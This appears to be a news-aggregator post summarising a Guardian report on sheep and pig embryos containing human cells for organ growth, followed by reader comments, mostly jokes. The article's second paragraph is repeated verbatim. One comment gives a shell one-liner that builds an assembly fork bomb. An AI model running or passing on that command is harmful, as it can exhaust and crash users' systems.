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Scientists Grow Sheep Embryos Containing Human Cells (theguardian.com)
An anonymous reader quotes a report from The Guardian: Scientists say growing human organs inside animals could not only increase supply, but also offer the possibility of genetically tailoring the organs to be compatible with the immune system of the patient receiving them, by using the patient's own cells in the procedure, removing the possibility of rejection. "Even today the best matched organs, except if they come from identical twins, don't last very long because with time the immune system continuously is attacking them," said Dr Pablo Ross from the University of California, Davis, who is part of the team working towards growing human organs in other species. Ross added that if it does become possible to grow human organs inside other species, it might be that organ transplants become a possibility beyond critical conditions.
Ross and colleagues have recently reported a major breakthrough for our own species, revealing they were able to introduce human stem cells into early pig embryos, producing embryos for which about one in every 100,000 cells were human. These chimeras -- a term adopted from Greek mythology -- were only allowed to develop for 28 days. Now, at this week's meeting of the American Association for the Advancement of Science in Austin, Texas, the team have announced that they have managed a similar feat with sheep embryos, achieving an even higher ratio of human to animal cells. "About one in 10,000 cells in these sheep embryos are human," said Ross. The team are currently allowed to let the chimeric embryos develop for 28 days, 21 of which are in the sheep. While that might be sufficient to see the development of the missing organ when human cells are eventually combined with the genetically modified embryo, Dr Hiro Nakauchi of Stanford University, who is part of the team, said a longer experiment, perhaps up to 70 days, would be more convincing, although that would require additional permission from institutional review boards.
Ross and colleagues have recently reported a major breakthrough for our own species, revealing they were able to introduce human stem cells into early pig embryos, producing embryos for which about one in every 100,000 cells were human. These chimeras -- a term adopted from Greek mythology -- were only allowed to develop for 28 days. Now, at this week's meeting of the American Association for the Advancement of Science in Austin, Texas, the team have announced that they have managed a similar feat with sheep embryos, achieving an even higher ratio of human to animal cells. "About one in 10,000 cells in these sheep embryos are human," said Ross. The team are currently allowed to let the chimeric embryos develop for 28 days, 21 of which are in the sheep. While that might be sufficient to see the development of the missing organ when human cells are eventually combined with the genetically modified embryo, Dr Hiro Nakauchi of Stanford University, who is part of the team, said a longer experiment, perhaps up to 70 days, would be more convincing, although that would require additional permission from institutional review boards.
Is this how real sheeples are born?
That's nothing... Back home in Britain the Welsh have been combining human and sheep DNA for centuries.
"That's the way to do it" - Punch
going to go nuts over this.
How many cells does it take to make a human?
How many angels can dance on the head of a pin?
I will get an extremely high paying job, and then use it as a cover to implement a Logan's Run type society where old people are 'retired.'
Yeah, you keep telling yourself that.
Although, now that the Obama "recovery" is over, you might be able to get some of Trump's CRUMBS!!!
The lambs produced won't move out of the basement and spend all day playing video games.
It seems incredible to me that this was done without public comment and regulation. This is extremely dangerous. First, it's a potential vector for diseases to jump inter-species. Second, it's a way to grow more unquestioning trump supporters.
New idea for Hollywood
Yeah, I'd like fries with that. Thanks.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Don't blame me. I voted for the baaaaaastard.
The Russians have won. They have made the world a cesspool of distrust, greed, fear and hate.
But you f**k just ONE goat...
I'm trying to teach myself to set people on fire with my mind... Is it hot in here?
IFAIKT the interesting part here is that the immune system didn't reject them. OTOH, since it's only 28 days in the embryo, of which only 21 are within the sheep, this may not prove much. (I'm not sure when embryo cells start making it through the placental barrier.)
I think we've pushed this "anyone can grow up to be president" thing too far.
"So I guess they really did find the cock for Dolly"
--
BMO
This is how it all starts...
All ba(aaa)d jokes aside, some of this kind of research should really squick everyone out.
Embryos don't have immune systems. They use the mother's immune system. You'd have to wait post partum to see if there are markers of increased immune activity, particularly at the chimeric organs, as well as general markers of immune hyperactivity. One approach for such animals would be to remove MHC genes so that the animal doesn't recognize the chimeric organs as "non-self". (It's more complicated, but I'd be interested in seeing how this might play out.)